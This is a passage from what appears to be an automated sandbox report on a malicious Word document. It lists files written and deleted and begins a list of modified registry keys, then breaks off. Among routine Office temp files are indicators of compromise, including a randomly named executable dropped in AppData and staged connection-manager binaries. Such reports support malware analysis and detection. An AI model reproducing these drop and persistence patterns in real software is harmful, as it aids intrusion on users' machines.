  1121. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6453.tmp",
  1123. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6463.tmp",
  1124. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
  1125. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6432.tmp\\Content.inf",
  1126. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6501.tmp\\content.inf",
  1127. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
  1128. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6521.tmp\\Banded.thmx",
  1129. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
  1130. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6521.tmp\\content.inf",
  1131. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515fn=View.thmx",
  1132. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\cab65FD.tmp",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\cab665B.tmp",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD666C.tmp\\content.inf",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD666C.tmp\\Parallax.thmx",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD66FA.tmp\\Basis.thmx",
  1138. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD66FA.tmp\\content.inf",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6739.tmp",
  1141. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\cab67A7.tmp",
  1143. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD67B8.tmp\\Crop.thmx",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD67B8.tmp\\Content.inf",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6836.tmp\\Headlines.thmx",
  1146. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105fn=Crop.thmx",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6836.tmp\\Content.inf",
  1148. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103fn=Headlines.thmx",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\cab68D3.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6922.tmp\\Berlin.thmx",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6922.tmp\\content.inf",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\cab69B0.tmp",
  1153. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917fn=Berlin.thmx",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6A0F.tmp\\content.inf",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6A0F.tmp\\Dividend.thmx",
  1156. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6EA4.tmp",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6F60.tmp\\content.inf",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6F60.tmp\\Quotable.thmx",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\cab700D.tmp",
  1161. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503fn=Quotable.thmx",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\cab707B.tmp",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7138.tmp\\Feathered.thmx",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7149.tmp\\content.inf",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7138.tmp\\Content.inf",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7149.tmp\\Droplet.thmx",
  1167. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\cab72B1.tmp",
  1169. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD73AC.tmp\\content.inf",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD73AC.tmp\\Savon.thmx",
  1172. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510fn=Savon.thmx",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74A7.tmp\\gostname.xsl",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74B8.tmp\\ieee2006officeonline.xsl",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74C8.tmp\\harvardanglia2008officeonline.xsl",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74D9.tmp\\gb.xsl",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74A7.tmp\\Content.inf",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74C8.tmp\\Content.inf",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74B8.tmp\\Content.inf",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74D9.tmp\\Content.inf",
  1181. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219fn=gostname.xsl",
  1182. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221fn=harvardanglia2008officeonline.xsl",
  1183. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
  1184. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD76FD.tmp\\BracketList.glox",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD76FD.tmp\\Content.inf",
  1187. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893fn=BracketList.glox",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\cab7D57.tmp",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7F8A.tmp\\content.inf",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7F8A.tmp\\Vapor_Trail.thmx",
  1191. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937fn=Vapor Trail.thmx",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\cab84EA.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD85C6.tmp\\content.inf",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD85C6.tmp\\Mesh.thmx",
  1195. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485fn=Mesh.thmx",
  1196. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1197. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSF21C38B3-319B-4FF9-A477-C818A7A3B170.tmp",
  1198. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
  1199. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\2400615008.txt",
  1200. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmpbk32.dll.old",
  1201. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmdial32.dll.old",
  1202. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmdl32.exe.old",
  1203. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmmon32.exe.old",
  1204. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmutil.dll.old",
  1205. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\instcm.inf.old",
  1206. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmcfg32.dll.old",
  1207. "C:\\ProgramData\\Microsoft\\Network\\Connections\\PBK\\rasphone.pbk",
  1208. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat",
  1209. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat",
  1210. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat",
  1211. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat",
  1212. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S4VH3RFR\\cf1.txt",
  1213. "C:\\Windows\\inf\\setupapi.app.log",
  1214. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\rasphone.pbk",
  1215. "C:\\Windows\\sysnative\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
  1216. "\\??\\PIPE\\srvsvc",
  1217. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\K06T4H0YUQKKUO6KIMO7.temp",
  1218. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF235e63d.TMP",
  1219. "C:\\Users\\user\\AppData\\Roaming\\BUfgHFWaPD.exe",
  1220. "C:\\Windows\\sysnative\\LogFiles\\Scm\\5869f1c1-01d7-41f7-84b7-715672259fa8",
  1221. "\\??\\NDISWAN",
  1222. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.h",
  1223. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl.h",
  1224. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.ini",
  1225. "\\??\\WMIDataDevice"
  1226.  
  1227.  
  1228. * Deleted Files:
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3106.tmp",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3107.tmp",
  1231. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\15C8A5A3.wmf",
  1232. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1233. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1234. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001106fn=Badge.eftx",
  1235. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033929fn=Slate.eftx",
  1236. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001106fn=Badge.xml",
  1237. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033929fn=Slate.xml",
  1238. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001106fn=Badge.xml",
  1239. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033929fn=Slate.xml",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab5A2F.tmp",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ACD.tmp",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ACE.tmp",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5AE0.tmp",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ADF.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar5A4F.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5B10.tmp",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5B70.tmp",
  1248. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033927fn=Main Event.eftx",
  1249. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033927fn=Main Event.xml",
  1250. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033927fn=Main Event.xml",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C6D.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ACE.tmp\\ThemePictureGrid.glox",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5990.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ACD.tmp\\TabbedArc.glox",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5912.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D2B.tmp",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D1B.tmp",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D2C.tmp",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5AE0.tmp\\rings.glox",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5DC9.tmp",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\cab59B1.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5DFA.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5B70.tmp\\VaryingWidthList.glox",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5901.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E1B.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E7A.tmp",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C6D.tmp\\pictureorgchart.glox",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5B10.tmp\\ThemePictureAccent.glox",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\cab57A7.tmp",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\cab58A3.tmp",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6002.tmp",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E1B.tmp\\RadialPictureList.glox",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5BEF.tmp",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ADF.tmp\\chicago.xsl",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5991.tmp",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5DC9.tmp\\TabList.glox",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60BF.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5B5F.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60FF.tmp",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD612F.tmp",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E7A.tmp\\iso690.xsl",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD617F.tmp",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5784.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D2B.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5579.tmp",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD626A.tmp",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D2C.tmp\\iso690nmerical.xsl",
  1288. "C:\\Users\\user\\AppData\\Local\\Temp\\cab55D7.tmp",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D1B.tmp\\sist02.xsl",
  1290. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD62AB.tmp",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5796.tmp",
  1292. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60FF.tmp\\CircleProcess.glox",
  1293. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5617.tmp",
  1294. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD612F.tmp\\architecture.glox",
  1295. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5E6A.tmp",
  1296. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5DFA.tmp\\Metropolitan.thmx",
  1297. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD617F.tmp\\PictureFrame.glox",
  1298. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5BA0.tmp",
  1299. "C:\\Users\\user\\AppData\\Local\\Temp\\cab56E6.tmp",
  1300. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6002.tmp\\Equations.dotx",
  1301. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5C6E.tmp",
  1302. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60BF.tmp\\Frame.thmx",
  1303. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5DEA.tmp",
  1304. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6432.tmp",
  1305. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD626B.tmp\\HexagonRadial.glox",
  1306. "C:\\Users\\user\\AppData\\Local\\Temp\\cab57F6.tmp",
  1307. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD62AB.tmp\\InterconnectedBlockProcess.glox",
  1308. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6013.tmp",
  1309. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6501.tmp",
  1310. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD626A.tmp\\APASixthEditionOfficeOnline.xsl",
  1311. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6521.tmp",
  1312. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5618.tmp",
  1313. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6432.tmp\\gosttitle.xsl",
  1314. "C:\\Users\\user\\AppData\\Local\\Temp\\cab617E.tmp",
  1315. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6501.tmp\\View.thmx",
  1316. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6453.tmp",
  1317. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6521.tmp\\Banded.thmx",
  1318. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6463.tmp",
  1319. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD666C.tmp",
  1320. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD666C.tmp\\Parallax.thmx",
  1321. "C:\\Users\\user\\AppData\\Local\\Temp\\cab65FD.tmp",
  1322. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD66FA.tmp\\Basis.thmx",
  1323. "C:\\Users\\user\\AppData\\Local\\Temp\\cab665B.tmp",
  1324. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD67B8.tmp",
  1325. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6836.tmp",
  1326. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD67B8.tmp\\Crop.thmx",
  1327. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6739.tmp",
  1328. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6836.tmp\\Headlines.thmx",
  1329. "C:\\Users\\user\\AppData\\Local\\Temp\\cab67A7.tmp",
  1330. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6922.tmp",
  1331. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6922.tmp\\Berlin.thmx",
  1332. "C:\\Users\\user\\AppData\\Local\\Temp\\cab68D3.tmp",
  1333. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6A0F.tmp",
  1334. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6A0F.tmp\\Dividend.thmx",
  1335. "C:\\Users\\user\\AppData\\Local\\Temp\\cab69B0.tmp",
  1336. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6F60.tmp",
  1337. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03090434fn=Wood Type.eftx",
  1338. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033919fn=Circuit.eftx",
  1339. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033919fn=Circuit.xml",
  1340. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033921fn=Damask.eftx",
  1341. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03090434fn=Wood Type.xml",
  1342. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03090434fn=Wood Type.xml",
  1343. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6F60.tmp\\Quotable.thmx",
  1344. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033919fn=Circuit.xml",
  1345. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033921fn=Damask.xml",
  1346. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033921fn=Damask.xml",
  1347. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6EA4.tmp",
  1348. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7138.tmp",
  1349. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7149.tmp",
  1350. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7138.tmp\\Feathered.thmx",
  1351. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7149.tmp\\Droplet.thmx",
  1352. "C:\\Users\\user\\AppData\\Local\\Temp\\cab700D.tmp",
  1353. "C:\\Users\\user\\AppData\\Local\\Temp\\cab707B.tmp",
  1354. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD73AC.tmp",
  1355. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD73AC.tmp\\Savon.thmx",
  1356. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74A7.tmp",
  1357. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74B8.tmp",
  1358. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74C8.tmp",
  1359. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74D9.tmp",
  1360. "C:\\Users\\user\\AppData\\Local\\Temp\\cab72B1.tmp",
  1361. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74A7.tmp\\gostname.xsl",
  1362. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74C8.tmp\\harvardanglia2008officeonline.xsl",
  1363. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74D9.tmp\\gb.xsl",
  1364. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74B8.tmp\\ieee2006officeonline.xsl",
  1365. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD76FD.tmp",
  1366. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5678.tmp",
  1367. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5795.tmp",
  1368. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5549.tmp",
  1369. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5619.tmp",
  1370. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD76FD.tmp\\BracketList.glox",
  1371. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5735.tmp",
  1372. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7F8A.tmp",
  1373. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7F8A.tmp\\Vapor_Trail.thmx",
  1374. "C:\\Users\\user\\AppData\\Local\\Temp\\cab7D57.tmp",
  1375. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD85C6.tmp",
  1376. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD85C6.tmp\\Mesh.thmx",
  1377. "C:\\Users\\user\\AppData\\Local\\Temp\\cab84EA.tmp",
  1378. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_ed2b0aa602da76e3fd727bc39ea98990.doc",
  1379. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS5663DB00-A4A2-4642-A30A-4A145A0C399F.tmp",
  1380. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1381. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSF21C38B3-319B-4FF9-A477-C818A7A3B170.tmp",
  1382. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\661725AA.wmf",
  1383. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR1E77.tmp.cvr",
  1384. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF771430AF-BFEC-4E73-B9AE-5EFEA3E37698.tmp",
  1385. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmpbk32.dll",
  1386. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmdial32.dll",
  1387. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmdl32.exe",
  1388. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmmon32.exe",
  1389. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmutil.dll",
  1390. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\instcm.inf",
  1391. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\cmcfg32.dll",
  1392. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF235e63d.TMP",
  1393. "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\security.config.cch.3580.37087046",
  1394. "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.3580.37087046",
  1395. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch.3580.37087046",
  1396. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl.h",
  1397. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.h"
  1398.  
  1399.  
  1400. * Modified Registry Keys:
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\/?",
  1402. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
